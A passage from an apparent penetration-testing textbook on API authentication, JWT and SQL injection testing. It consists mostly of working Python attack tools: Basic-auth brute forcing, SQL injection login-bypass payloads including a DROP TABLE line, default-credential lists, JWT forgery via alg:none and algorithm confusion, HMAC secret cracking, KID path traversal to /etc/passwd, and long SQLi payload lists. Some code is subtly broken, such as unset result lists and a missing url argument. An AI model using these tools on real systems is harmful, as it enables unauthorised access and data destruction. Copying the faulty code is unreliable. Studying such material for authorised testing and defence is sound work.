base64.b64encode(auth_string.encode()).decode()\n            \n            headers = {'Authorization': f'Basic {encoded}'}\n            \n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    headers=headers,\n                    allow_redirects=False\n                )\n                \n                results.append({\n                    'username': username,\n                    'password': password,\n                    'status_code': response.status_code,\n                    'success': response.status_code == 200\n                })\n            except Exception as e:\n                results.append({\n                    'username': username,\n                    'password': password,\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def test_bearer_token(self, endpoint, tokens):\n        \"\"\"Test Bearer token authentication\"\"\"\n        \n        results = []\n        \n        for token in tokens:\n            headers = {'Authorization': f'Bearer {token}'}\n            \n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    headers=headers\n                )\n                \n                results.append({\n                    'token': token[:20] + '...' if len(token) &gt; 20 else token,\n                    'status_code': response.status_code,\n                    'success': response.status_code == 200\n                })\n            except Exception as e:\n                results.append({\n                    'token': token[:20] + '...',\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def test_api_key(self, endpoint, api_keys, key_name='X-API-Key'):\n        \"\"\"Test API key authentication (header-based)\"\"\"\n        \n        results = []\n        \n        for api_key in api_keys:\n            headers = {key_name: api_key}\n            \n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    headers=headers\n                )\n                \n                results.append({\n                    'key': api_key[:20] + '...' if len(api_key) &gt; 20 else api_key,\n                    'status_code': response.status_code,\n                    'success': response.status_code == 200\n                })\n            except Exception as e:\n                results.append({\n                    'key': api_key[:20] + '...',\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def test_jwt_token(self, token):\n        \"\"\"Analyze JWT token structure\"\"\"\n        \n        parts = token.split('.')\n        \n        if len(parts) != 3:\n            return {'error': 'Invalid JWT format'}\n            \n        analysis = {}\n        \n        # Decode header\n        try:\n            header = base64.urlsafe_b64decode(parts[0] + '==').decode()\n            analysis['header'] = json.loads(header)\n        except:\n            analysis['header_error'] = 'Could not decode header'\n            \n        # Decode payload\n        try:\n            payload = base64.urlsafe_b64decode(parts[1] + '==').decode()\n            analysis['payload'] = json.loads(payload)\n        except:\n            analysis['payload_error'] = 'Could not decode payload'\n            \n        # Check signature (placeholder)\n        analysis['signature_present'] = bool(parts[2])\n        \n        # Security checks\n        if 'payload' in analysis:\n            payload = analysis['payload']\n            \n            # Check algorithm\n            if 'header' in analysis:\n                alg = analysis['header'].get('alg', '')\n                if alg == 'none':\n                    analysis['security_issues'].append('alg: none - insecure')\n                elif alg == 'HS256':\n                    analysis['security_notes'].append('Symmetric signing - check key strength')\n                    \n            # Check expiration\n            exp = payload.get('exp')\n            if exp:\n                if exp &lt; time.time():\n                    analysis['security_issues'].append('Token expired')\n                else:\n                    time_left = exp - time.time()\n                    if time_left &gt; 86400 * 7:  # 7 days\n                        analysis['security_issues'].append(f'Long-lived token: {time_left/86400:.1f} days')\n                        \n            # Check for sensitive data\n            sensitive_fields = ['password', 'secret', 'key', 'token', 'credit', 'ssn']\n            for field in sensitive_fields:\n                if field in payload:\n                    analysis['security_issues'].append(f'Sensitive field in payload: {field}')\n                    \n        return analysis\n    \n    def test_oauth_flows(self, auth_url, token_url, client_id, client_secret):\n        \"\"\"Test OAuth 2.0 implementation\"\"\"\n        \n        results = {}\n        \n        # Test implicit grant (if applicable)\n        implicit_url = f\"{auth_url}?response_type=token&amp;client_id={client_id}&amp;redirect_uri={self.base_url}/callback\"\n        \n        try:\n            response = self.session.get(implicit_url, allow_redirects=False)\n            results['implicit_grant'] = {\n                'status_code': response.status_code,\n                'location': response.headers.get('Location', '')\n            }\n        except Exception as e:\n            results['implicit_grant'] = {'error': str(e)}\n            \n        # Test authorization code grant\n        code_url = f\"{auth_url}?response_type=code&amp;client_id={client_id}&amp;redirect_uri={self.base_url}/callback\"\n        \n        try:\n            response = self.session.get(code_url, allow_redirects=False)\n            results['code_grant'] = {\n                'status_code': response.status_code,\n                'location': response.headers.get('Location', '')\n            }\n            \n            # Extract code if present\n            location = response.headers.get('Location', '')\n            if 'code=' in location:\n                import urllib.parse\n                parsed = urllib.parse.urlparse(location)\n                params = urllib.parse.parse_qs(parsed.query)\n                code = params.get('code', [None])[0]\n                \n                if code:\n                    # Try to exchange code for token\n                    token_data = {\n                        'grant_type': 'authorization_code',\n                        'code': code,\n                        'redirect_uri': f\"{self.base_url}/callback\",\n                        'client_id': client_id,\n                        'client_secret': client_secret\n                    }\n                    \n                    token_response = self.session.post(token_url, data=token_data)\n                    results['token_exchange'] = {\n                        'status_code': token_response.status_code,\n                        'response': token_response.text[:200] if token_response.text else ''\n                    }\n        except Exception as e:\n            results['code_grant'] = {'error': str(e)}\n            \n        return results\n\n# Example usage\ntester = APIAuthTester('https://api.example.com')\n\n# Test basic auth\nbasic_results = tester.test_basic_auth('/protected', [\n    {'username': 'admin', 'password': 'admin'},\n    {'username': 'admin', 'password': 'password123'},\n    {'username': 'user', 'password': 'userpass'}\n])\n\n# Test JWT\njwt_analysis = tester.test_jwt_token('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c')\n\nprint(json.dumps(basic_results, indent=2))\nprint(json.dumps(jwt_analysis, indent=2))\n```\n\n### 12.4 Authentication Models\n\nUnderstanding different authentication mechanisms is crucial for identifying vulnerabilities.\n\n#### 12.4.1 Authentication Bypass Testing\n\n```python\n#!/usr/bin/env python3\n# auth_bypass.py\n\nimport requests\nimport itertools\n\nclass AuthBypassTester:\n    def __init__(self, target_url, login_field='username', password_field='password'):\n        self.target_url = target_url\n        self.login_field = login_field\n        self.password_field = password_field\n        self.session = requests.Session()\n        \n    def test_sql_injection_auth(self):\n        \"\"\"Test SQL injection in authentication\"\"\"\n        \n        payloads = [\n            \"' OR '1'='1\",\n            \"' OR 1=1--\",\n            \"' OR '1'='1'--\",\n            \"' OR '1'='1'#\",\n            \"admin'--\",\n            \"admin' #\",\n            \"' OR 1=1 LIMIT 1--\",\n            \"' UNION SELECT 1, 'admin', 'password'--\",\n            \"'; DROP TABLE users--\",\n            \"admin' AND 1=1--\"\n        ]\n        \n        results = []\n        \n        for payload in payloads:\n            data = {\n                self.login_field: payload,\n                self.password_field: 'anything'\n            }\n            \n            try:\n                response = self.session.post(self.target_url, data=data, allow_redirects=False)\n                \n                results.append({\n                    'payload': payload,\n                    'status_code': response.status_code,\n                    'location': response.headers.get('Location', ''),\n                    'bypass': response.status_code == 302 or 'welcome' in response.text.lower()\n                })\n            except Exception as e:\n                results.append({\n                    'payload': payload,\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def test_default_credentials(self):\n        \"\"\"Test default credentials\"\"\"\n        \n        defaults = [\n            ('admin', 'admin'),\n            ('admin', 'password'),\n            ('admin', '123456'),\n            ('administrator', 'administrator'),\n            ('root', 'root'),\n            ('root', 'toor'),\n            ('user', 'user'),\n            ('test', 'test'),\n            ('guest', 'guest'),\n            ('admin', 'password123'),\n            ('admin', 'admin123'),\n            ('admin', '12345'),\n            ('admin', '1234'),\n            ('admin', '12345678'),\n            ('admin', 'qwerty'),\n            ('admin', 'abc123'),\n            ('admin', 'letmein'),\n            ('admin', 'welcome'),\n            ('admin', 'monkey'),\n            ('admin', 'dragon'),\n            ('admin', 'master'),\n            ('admin', 'hello'),\n            ('admin', 'freedom'),\n            ('admin', 'whatever'),\n            ('admin', 'qazwsx'),\n            ('admin', 'trustno1'),\n            ('admin', '000000'),\n            ('admin', '111111'),\n            ('admin', 'passw0rd'),\n            ('admin', 'password1'),\n            ('admin', 'admin1234'),\n            ('admin', '123456789'),\n            ('admin', '987654321'),\n            ('admin', '654321'),\n            ('admin', '555555'),\n            ('admin', '7777777'),\n            ('admin', '888888'),\n            ('admin', '999999'),\n            ('admin', '123123'),\n            ('admin', '123321'),\n            ('admin', '123qwe'),\n            ('admin', 'qwe123'),\n            ('admin', '1q2w3e4r'),\n            ('admin', '1qaz2wsx'),\n            ('admin', 'zaq1xsw2'),\n            ('admin', 'zxcvbnm'),\n            ('admin', 'qwertyuiop'),\n            ('admin', 'asdfghjkl'),\n            ('admin', 'foobar'),\n            ('admin', 'nimda'),\n            ('admin', 'adminadmin'),\n            ('admin', 'adm1n'),\n            ('admin', 'adm!n'),\n            ('admin', 'admin!'),\n            ('admin', 'root123'),\n            ('admin', 'toor123')\n        ]\n        \n        results = []\n        \n        for username, password in defaults:\n            data = {\n                self.login_field: username,\n                self.password_field: password\n            }\n            \n            try:\n                response = self.session.post(self.target_url, data=data, allow_redirects=False)\n                \n                if response.status_code == 302 or 'welcome' in response.text.lower():\n                    results.append({\n                        'username': username,\n                        'password': password,\n                        'success': True\n                    })\n            except:\n                pass\n                \n        return results\n    \n    def test_parameter_pollution(self):\n        \"\"\"Test HTTP parameter pollution in auth\"\"\"\n        \n        # Test duplicate parameters\n        test_cases = [\n            f\"{self.login_field}=admin&amp;{self.login_field}=admin'--\",\n            f\"{self.login_field}=admin&amp;password=anything&amp;password=anything\",\n            f\"{self.login_field}=admin&amp;{self.password_field}=wrong&amp;{self.password_field}=right\"\n        ]\n        \n        results = []\n        \n        for params in test_cases:\n            url = f\"{self.target_url}?{params}\"\n            \n            try:\n                response = self.session.get(url)\n                results.append({\n                    'params': params,\n                    'status_code': response.status_code,\n                    'interesting': 'admin' in response.text or 'welcome' in response.text\n                })\n            except Exception as e:\n                results.append({\n                    'params': params,\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def test_verb_tampering(self):\n        \"\"\"Test HTTP verb tampering for auth bypass\"\"\"\n        \n        methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']\n        results = {}\n        \n        for method in methods:\n            try:\n                if method == 'GET':\n                    response = self.session.get(self.target_url)\n                elif method == 'POST':\n                    response = self.session.post(self.target_url, data={'test': 'data'})\n                elif method == 'PUT':\n                    response = self.session.put(self.target_url, data={'test': 'data'})\n                elif method == 'DELETE':\n                    response = self.session.delete(self.target_url)\n                elif method == 'PATCH':\n                    response = self.session.patch(self.target_url, data={'test': 'data'})\n                elif method == 'HEAD':\n                    response = self.session.head(self.target_url)\n                elif method == 'OPTIONS':\n                    response = self.session.options(self.target_url)\n                    \n                results[method] = {\n                    'status_code': response.status_code,\n                    'content_length': len(response.text) if method != 'HEAD' else 'N/A'\n                }\n            except Exception as e:\n                results[method] = {'error': str(e)}\n                \n        return results\n    \n    def test_session_cookie_weakness(self):\n        \"\"\"Test for weak session cookie generation\"\"\"\n        \n        cookies = []\n        \n        # Collect multiple session cookies\n        for i in range(10):\n            session = requests.Session()\n            session.get(self.target_url)\n            cookie = session.cookies.get_dict()\n            if cookie:\n                cookies.append(cookie)\n                \n        if not cookies:\n            return {'error': 'No cookies found'}\n            \n        analysis = {\n            'cookie_count': len(cookies),\n            'unique_cookies': len(set(str(c) for c in cookies)),\n            'analysis': []\n        }\n        \n        # Check for patterns\n        import re\n        \n        for cookie in cookies:\n            for name, value in cookie.items():\n                # Check for predictable patterns\n                if re.match(r'^\\d+$', value):\n                    analysis['analysis'].append({\n                        'cookie': name,\n                        'value': value,\n                        'pattern': 'numeric - potentially predictable'\n                    })\n                elif re.match(r'^[a-f0-9]{32}$', value):\n                    analysis['analysis'].append({\n                        'cookie': name,\n                        'pattern': 'MD5 hash - check predictability'\n                    })\n                elif len(value) &lt; 16:\n                    analysis['analysis'].append({\n                        'cookie': name,\n                        'pattern': f'short length ({len(value)}) - potentially weak'\n                    })\n                    \n        return analysis\n    \n    def test_remember_me_functionality(self):\n        \"\"\"Test remember me functionality security\"\"\"\n        \n        # First login with remember me\n        data = {\n            self.login_field: 'test',\n            self.password_field: 'test',\n            'remember': 'on'\n        }\n        \n        response = self.session.post(self.target_url, data=data)\n        cookies = self.session.cookies.get_dict()\n        \n        # Analyze persistent cookies\n        persistent_cookies = []\n        \n        for name, value in cookies.items():\n            # Check for long-lived cookies\n            # This is simplified - actual implementation would need to check expiry\n            if 'remember' in name.lower() or 'persist' in name.lower():\n                persistent_cookies.append({\n                    'name': name,\n                    'value': value[:20] + '...' if len(value) &gt; 20 else value,\n                    'length': len(value)\n                })\n                \n        return persistent_cookies\n\n# Example usage\ntester = AuthBypassTester('https://example.com/login')\n\nprint(\"[*] Testing SQL injection auth bypass...\")\nsql_results = tester.test_sql_injection_auth()\nfor result in sql_results:\n    if result.get('bypass'):\n        print(f\"  [+] Possible bypass with: {result['payload']}\")\n\nprint(\"\\n[*] Testing default credentials...\")\ndefault_results = tester.test_default_credentials()\nif default_results:\n    for cred in default_results:\n        print(f\"  [+] Found working credentials: {cred['username']}:{cred['password']}\")\n\nprint(\"\\n[*] Testing session cookie weakness...\")\ncookie_analysis = tester.test_session_cookie_weakness()\nprint(json.dumps(cookie_analysis, indent=2))\n```\n\n### 12.5 JWT (JSON Web Tokens)\n\nJWT has become a popular method for stateless authentication but introduces specific security considerations.\n\n#### 12.5.1 JWT Security Testing\n\n```python\n#!/usr/bin/env python3\n# jwt_tester.py\n\nimport jwt\nimport json\nimport requests\nimport base64\nimport hmac\nimport hashlib\nimport time\n\nclass JWTTester:\n    def __init__(self):\n        self.vulnerabilities = []\n        \n    def decode_jwt(self, token):\n        \"\"\"Decode JWT without verification\"\"\"\n        try:\n            parts = token.split('.')\n            if len(parts) != 3:\n                return {'error': 'Invalid JWT format'}\n                \n            # Decode header\n            header = base64.urlsafe_b64decode(parts[0] + '==').decode('utf-8')\n            header = json.loads(header)\n            \n            # Decode payload\n            payload = base64.urlsafe_b64decode(parts[1] + '==').decode('utf-8')\n            payload = json.loads(payload)\n            \n            return {\n                'header': header,\n                'payload': payload,\n                'signature': parts[2]\n            }\n        except Exception as e:\n            return {'error': str(e)}\n    \n    def test_none_algorithm(self, token):\n        \"\"\"Test 'none' algorithm vulnerability\"\"\"\n        \n        decoded = self.decode_jwt(token)\n        if 'error' in decoded:\n            return {'error': 'Invalid token'}\n            \n        # Create token with alg:none\n        header = decoded['header'].copy()\n        header['alg'] = 'none'\n        \n        # Encode without signature\n        header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')\n        payload_b64 = base64.urlsafe_b64encode(json.dumps(decoded['payload']).encode()).decode().rstrip('=')\n        \n        modified_token = f\"{header_b64}.{payload_b64}.\"\n        \n        return {\n            'original_token': token,\n            'modified_token': modified_token,\n            'test_url': '/api/protected',  # This would be configured\n            'vulnerability': 'alg:none' if self.test_token(modified_token) else None\n        }\n    \n    def test_algorithm_confusion(self, token, public_key):\n        \"\"\"Test algorithm confusion (RS256 -&gt; HS256)\"\"\"\n        \n        try:\n            # Try to verify with HS256 using public key as secret\n            decoded = self.decode_jwt(token)\n            \n            # Change algorithm to HS256\n            header = decoded['header'].copy()\n            header['alg'] = 'HS256'\n            \n            # Create new token with HS256 using public key\n            modified_token = jwt.encode(\n                decoded['payload'],\n                public_key,\n                algorithm='HS256',\n                headers=header\n            )\n            \n            return {\n                'original_token': token,\n                'modified_token': modified_token,\n                'vulnerability': 'algorithm_confusion'\n            }\n        except Exception as e:\n            return {'error': str(e)}\n    \n    def test_weak_secret(self, token, wordlist_file):\n        \"\"\"Test for weak HMAC secret\"\"\"\n        \n        decoded = self.decode_jwt(token)\n        if 'error' in decoded or decoded['header'].get('alg') not in ['HS256', 'HS384', 'HS512']:\n            return {'error': 'Not an HMAC token'}\n            \n        # Extract parts\n        header_b64 = token.split('.')[0]\n        payload_b64 = token.split('.')[1]\n        signature = token.split('.')[2]\n        \n        message = f\"{header_b64}.{payload_b64}\".encode()\n        target_sig = base64.urlsafe_b64decode(signature + '==')\n        \n        # Try common weak secrets\n        weak_secrets = [\n            'secret', 'password', '123456', 'admin', 'key', 'token',\n            'secretkey', 'jwtsecret', 'mysecret', 'changeme'\n        ]\n        \n        try:\n            with open(wordlist_file, 'r') as f:\n                weak_secrets.extend([line.strip() for line in f.readlines()[:1000]])\n        except:\n            pass\n            \n        for secret in weak_secrets:\n            try:\n                calculated = hmac.new(\n                    secret.encode(),\n                    message,\n                    hashlib.sha256\n                ).digest()\n                \n                if hmac.compare_digest(calculated, target_sig):\n                    return {\n                        'secret_found': secret,\n                        'token': token,\n                        'vulnerability': 'weak_hmac_secret'\n                    }\n            except:\n                pass\n                \n        return {'error': 'Secret not found in wordlist'}\n    \n    def test_token_expiration(self, token):\n        \"\"\"Check token expiration handling\"\"\"\n        \n        decoded = self.decode_jwt(token)\n        if 'error' in decoded:\n            return {'error': 'Invalid token'}\n            \n        payload = decoded['payload']\n        \n        expiration_issues = []\n        \n        # Check if exp claim exists\n        if 'exp' not in payload:\n            expiration_issues.append(\"No expiration claim (exp)\")\n        else:\n            exp = payload['exp']\n            current_time = int(time.time())\n            \n            if exp &lt; current_time:\n                expiration_issues.append(\"Token is expired\")\n            elif exp - current_time &gt; 86400 * 30:  # 30 days\n                expiration_issues.append(f\"Long-lived token: {(exp-current_time)/86400:.1f} days\")\n                \n        # Check if nbf claim exists\n        if 'nbf' in payload:\n            nbf = payload['nbf']\n            if nbf &gt; current_time:\n                expiration_issues.append(\"Token not yet valid (nbf in future)\")\n                \n        return {\n            'has_expiration': 'exp' in payload,\n            'has_not_before': 'nbf' in payload,\n            'issues': expiration_issues\n        }\n    \n    def test_kid_injection(self, token):\n        \"\"\"Test KID (Key ID) header injection\"\"\"\n        \n        decoded = self.decode_jwt(token)\n        if 'error' in decoded:\n            return {'error': 'Invalid token'}\n            \n        header = decoded['header']\n        \n        if 'kid' not in header:\n            return {'message': 'No KID header present'}\n            \n        kid = header['kid']\n        \n        # Test for SQL injection in KID\n        sql_payloads = [\"'\", \"';--\", \"' OR '1'='1\"]\n        \n        vulnerabilities = []\n        for payload in sql_payloads:\n            modified_header = header.copy()\n            modified_header['kid'] = kid + payload\n            \n            # Create modified token\n            header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')\n            payload_b64 = token.split('.')[1]\n            \n            modified_token = f\"{header_b64}.{payload_b64}.\"\n            \n            vulnerabilities.append({\n                'payload': payload,\n                'modified_token': modified_token\n            })\n            \n        # Test for path traversal in KID\n        path_payloads = [\n            '../../../../etc/passwd',\n            '/etc/passwd',\n            '../../../dev/null'\n        ]\n        \n        for payload in path_payloads:\n            modified_header = header.copy()\n            modified_header['kid'] = payload\n            \n            header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')\n            modified_token = f\"{header_b64}.{token.split('.')[1]}.\"\n            \n            vulnerabilities.append({\n                'type': 'path_traversal',\n                'payload': payload,\n                'modified_token': modified_token\n            })\n            \n        return vulnerabilities\n    \n    def test_jwk_injection(self, token):\n        \"\"\"Test JWK (JSON Web Key) header injection\"\"\"\n        \n        decoded = self.decode_jwt(token)\n        if 'error' in decoded:\n            return {'error': 'Invalid token'}\n            \n        header = decoded['header']\n        \n        # Check if jwk, jku, or x5u headers are present\n        injection_points = []\n        \n        if 'jwk' in header:\n            injection_points.append('jwk')\n        if 'jku' in header:\n            injection_points.append('jku')\n        if 'x5u' in header:\n            injection_points.append('x5u')\n            \n        if not injection_points:\n            return {'message': 'No JWK-related headers present'}\n            \n        return {\n            'injection_points': injection_points,\n            'vulnerability': 'jwk_injection_possible',\n            'recommendation': 'Validate JWK/JKU URLs against whitelist'\n        }\n    \n    def test_token(self, token, url):\n        \"\"\"Test if token is accepted by the server\"\"\"\n        try:\n            headers = {'Authorization': f'Bearer {token}'}\n            response = requests.get(url, headers=headers)\n            return response.status_code == 200\n        except:\n            return False\n    \n    def generate_report(self, token, url, public_key=None, wordlist=None):\n        \"\"\"Generate comprehensive JWT security report\"\"\"\n        \n        report = {\n            'token': token,\n            'decoded': self.decode_jwt(token),\n            'vulnerabilities': [],\n            'recommendations': []\n        }\n        \n        # Test expiration\n        exp_test = self.test_token_expiration(token)\n        if exp_test['issues']:\n            report['vulnerabilities'].append({\n                'type': 'expiration_issues',\n                'details': exp_test['issues']\n            })\n            report['recommendations'].append(\"Implement proper expiration (exp) and not-before (nbf) claims\")\n            \n        # Test none algorithm\n        none_test = self.test_none_algorithm(token)\n        if none_test.get('vulnerability'):\n            report['vulnerabilities'].append({\n                'type': 'none_algorithm',\n                'details': 'Server accepts alg:none tokens'\n            })\n            report['recommendations'].append(\"Reject tokens with alg:none\")\n            \n        # Test algorithm confusion if public key provided\n        if public_key:\n            confusion_test = self.test_algorithm_confusion(token, public_key)\n            if 'vulnerability' in confusion_test:\n                report['vulnerabilities'].append({\n                    'type': 'algorithm_confusion',\n                    'details': 'Server accepts algorithm downgrade attacks'\n                })\n                report['recommendations'].append(\"Validate algorithm matches expected value\")\n                \n        # Test weak secret if wordlist provided and HMAC token\n        if wordlist and report['decoded'].get('header', {}).get('alg', '').startswith('HS'):\n            weak_secret_test = self.test_weak_secret(token, wordlist)\n            if 'secret_found' in weak_secret_test:\n                report['vulnerabilities'].append({\n                    'type': 'weak_hmac_secret',\n                    'details': f\"Secret found: {weak_secret_test['secret_found']}\"\n                })\n                report['recommendations'].append(\"Use strong, randomly generated secrets\")\n                \n        # Test KID injection\n        kid_test = self.test_kid_injection(token)\n        if isinstance(kid_test, list) and kid_test:\n            report['vulnerabilities'].append({\n                'type': 'kid_injection',\n                'details': 'KID header may be vulnerable to injection',\n                'examples': kid_test[:2]\n            })\n            report['recommendations'].append(\"Validate and sanitize KID values\")\n            \n        # Test JWK injection\n        jwk_test = self.test_jwk_injection(token)\n        if jwk_test and 'injection_points' in jwk_test:\n            report['vulnerabilities'].append({\n                'type': 'jwk_injection',\n                'details': f\"JWK-related headers present: {jwk_test['injection_points']}\"\n            })\n            report['recommendations'].append(\"Validate JWK/JKU URLs against whitelist\")\n            \n        # Calculate risk score\n        risk_score = len(report['vulnerabilities']) * 20\n        if risk_score &gt; 100:\n            risk_score = 100\n            \n        report['risk_score'] = risk_score\n        report['risk_level'] = self.get_risk_level(risk_score)\n        \n        return report\n    \n    def get_risk_level(self, score):\n        \"\"\"Convert risk score to level\"\"\"\n        if score &gt;= 80:\n            return 'Critical'\n        elif score &gt;= 60:\n            return 'High'\n        elif score &gt;= 40:\n            return 'Medium'\n        elif score &gt;= 20:\n            return 'Low'\n        else:\n            return 'Info'\n\n# Example usage\ntester = JWTTester()\n\n# Example JWT token\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nreport = tester.generate_report(\n    token,\n    'https://api.example.com/protected',\n    public_key='-----BEGIN PUBLIC KEY-----\\n...\\n-----END PUBLIC KEY-----',\n    wordlist='/usr/share/wordlists/rockyou.txt'\n)\n\nprint(json.dumps(report, indent=2))\n```\n\n---\n\n## Chapter 13 \u2014 Web Vulnerabilities\n\nWeb vulnerabilities represent the most common attack vectors against modern applications. Understanding these vulnerabilities in depth is essential for both identifying and exploiting them during penetration tests, as well as for implementing proper defenses.\n\n### 13.1 SQL Injection\n\nSQL Injection (SQLi) remains one of the most critical and prevalent web application vulnerabilities, allowing attackers to interfere with the queries an application makes to its database.\n\n#### 13.1.1 SQL Injection Fundamentals\n\nSQL injection occurs when user input is incorrectly filtered for SQL statements or dynamically incorporated into SQL queries without proper sanitization.\n\n**Types of SQL Injection**:\n\n```python\n#!/usr/bin/env python3\n# sqli_types.py\n\nclass SQLITypes:\n    def __init__(self):\n        self.vulnerable_patterns = {\n            'in-band': 'Classic SQLi where data is retrieved in the same channel',\n            'error-based': 'Using error messages to extract information',\n            'union-based': 'Using UNION operator to combine queries',\n            'blind-boolean': 'Inferring information based on true/false responses',\n            'blind-time': 'Inferring information based on response delays',\n            'out-of-band': 'Using alternative channels (DNS, HTTP requests) to extract data'\n        }\n        \n    def error_based_payloads(self):\n        \"\"\"Generate error-based SQL injection payloads\"\"\"\n        return [\n            \"'\",\n            \"\\\"\",\n            \"')\",\n            \"'))\",\n            \"\\'))\",\n            \"' OR '1'='1\",\n            \"' OR '1'='1'--\",\n            \"' OR '1'='1'#\",\n            \"' OR 1=1--\",\n            \"' OR 1=1#\",\n            \"' OR 1=1 LIMIT 1--\",\n            \"admin'--\",\n            \"admin' #\",\n            \"admin'/*\",\n            \"' UNION SELECT null--\",\n            \"' UNION SELECT null,null--\",\n            \"' UNION SELECT null,null,null--\",\n            \"'; DROP TABLE users--\",\n            \"' AND 1=CONVERT(int, @@version)--\",\n            \"' AND 1=CAST(@@version AS int)--\"\n        ]\n    \n    def union_based_payloads(self):\n        \"\"\"Generate UNION-based SQL injection payloads\"\"\"\n        return [\n            \"' UNION SELECT 1,2,3--\",\n            \"' UNION SELECT 1,2,3,4--\",\n            \"' UNION SELECT 1,2,3,4,5--\",\n            \"' UNION SELECT NULL,NULL,NULL--\",\n            \"' UNION SELECT NULL,NULL,NULL,NULL--\",\n            \"' UNION ALL SELECT 1,2,3--\",\n            \"\\\" UNION SELECT 1,2,3--\",\n            \"') UNION SELECT 1,2,3--\",\n            \"')) UNION SELECT 1,2,3--\",\n            \"'; UNION SELECT 1,2,3--\",\n            \"' UNION SELECT 1,@@version,3--\",\n            \"' UNION SELECT 1,user(),3--\",\n            \"' UNION SELECT 1,database(),3--\",\n            \"' UNION SELECT 1,table_name,3 FROM information_schema.tables--\"\n        ]\n    \n    def blind_boolean_payloads(self):\n        \"\"\"Generate blind boolean-based SQL injection payloads\"\"\"\n        return [\n            \"' AND '1'='1\",\n            \"' AND '1'='2\",\n            \"' AND 1=1--\",\n            \"' AND 1=2--\",\n            \"' OR '1'='1'\",\n            \"' OR '1'='2'\",\n            \"' OR 1=1--\",\n            \"' OR 1=2--\",\n            \"' AND SUBSTRING(@@version,1,1)='1'\",\n            \"' AND ASCII(SUBSTRING(@@version,1,1))&gt;100\",\n            \"' AND (SELECT COUNT(*) FROM users)&gt;0\",\n            \"' AND EXISTS(SELECT * FROM users)\"\n        ]\n    \n    def blind_time_payloads(self):\n        \"\"\"Generate blind time-based SQL injection payloads\"\"\"\n        return [\n            \"'; WAITFOR DELAY '0:0:5'--\",\n            \"'; WAITFOR DELAY '0:0:5'--\",\n            \"' OR SLEEP(5)--\",\n            \"' OR SLEEP(5) AND '1'='1\",\n            \"' AND SLEEP(5)--\",\n            \"'; SELECT pg_sleep(5)--\",\n            \"' OR pg_sleep(5)--\",\n            \"' AND pg_sleep(5)--\",\n            \"' OR BENCHMARK(1000000,MD5('a'))--\",\n            \"' AND BENCHMARK(1000000,MD5('a'))--\",\n            \"' OR (SELECT * FROM (SELECT(SLEEP(5)))a)--\"\n        ]\n\nclass SQLIDetector:\n    def __init__(self, target_url, param_name):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.vulnerabilities = []\n        self.dbms_type = None\n        \n    def test_error_based(self, payloads):\n        \"\"\"Test for error-based SQL injection\"\"\"\n        import requests\n        \n        for payload in payloads:\n            test_url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                response = requests.get(test_url, timeout=5)\n                \n                # Check for database error messages\n                error_indicators = [\n                    \"SQL syntax\",\n                    \"mysql_fetch\",\n                    \"ORA-\",\n                    \"PostgreSQL\",\n                    \"SQLite\",\n                    \"unclosed quotation mark\",\n                    \"Microsoft OLE DB\",\n                    \"Incorrect syntax near\",\n                    \"Unclosed quotation mark\",\n                    \"You have an error in your SQL syntax\",\n                    \"Warning: mysql_\",\n                    \"Division by zero\",\n                    \"Unknown column\",\n                    \"driver error\"\n                ]\n                \n                for indicator in error_indicators:\n                    if indicator.lower() in response.text.lower():\n                        self.vulnerabilities.append({\n                            'type': 'error-based',\n                            'payload': payload,\n                            'indicator': indicator,\n                            'url': test_url\n                        })\n                        break\n                        \n            except Exception as e:\n                print(f\"Error testing {payload}: {e}\")\n    \n    def test_union_based(self, payloads):\n        \"\"\"Test for UNION-based SQL injection\"\"\"\n        import requests\n        \n        for payload in payloads:\n            test_url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                response = requests.get(test_url, timeout=5)\n                \n                # Look for increased column count or data extraction\n                if \"2\" in response.text or \"3\" in response.text:\n                    # This is a simplistic check - actual detection is more complex\n                    self.vulnerabilities.append({\n                        'type': 'union-based',\n                        'payload': payload,\n                        'url': test_url\n                    })\n            except:\n                pass\n    \n    def test_blind_boolean(self, payloads):\n        \"\"\"Test for blind boolean-based SQL injection\"\"\"\n        import requests\n        \n        # Get baseline response\n        baseline = requests.get(f\"{self.target_url}?{self.param_name}=1\")\n        baseline_length = len(baseline.text)\n        \n        for payload in payloads:\n            test_url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                response = requests.get(test_url, timeout=5)\n                \n                # Compare with baseline\n                if abs(len(response.text) - baseline_length) &gt; 10:\n                    self.vulnerabilities.append({\n                        'type': 'blind-boolean',\n                        'payload': payload,\n                        'url': test_url\n                    })\n            except:\n                pass\n    \n    def test_blind_time(self, payloads):\n        \"\"\"Test for blind time-based SQL injection\"\"\"\n        import requests\n        import time\n        \n        for payload in payloads:\n            test_url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                start_time = time.time()\n                response = requests.get(test_url, timeout=10)\n                elapsed = time.time() - start_time\n                \n                if elapsed &gt; 5:  # Significant delay\n                    self.vulnerabilities.append({\n                        'type': 'blind-time',\n                        'payload': payload,\n                        'delay': elapsed,\n                        'url': test_url\n                    })\n            except requests.Timeout:\n                self.vulnerabilities.append({\n                    'type': 'blind-time',\n                    'payload': 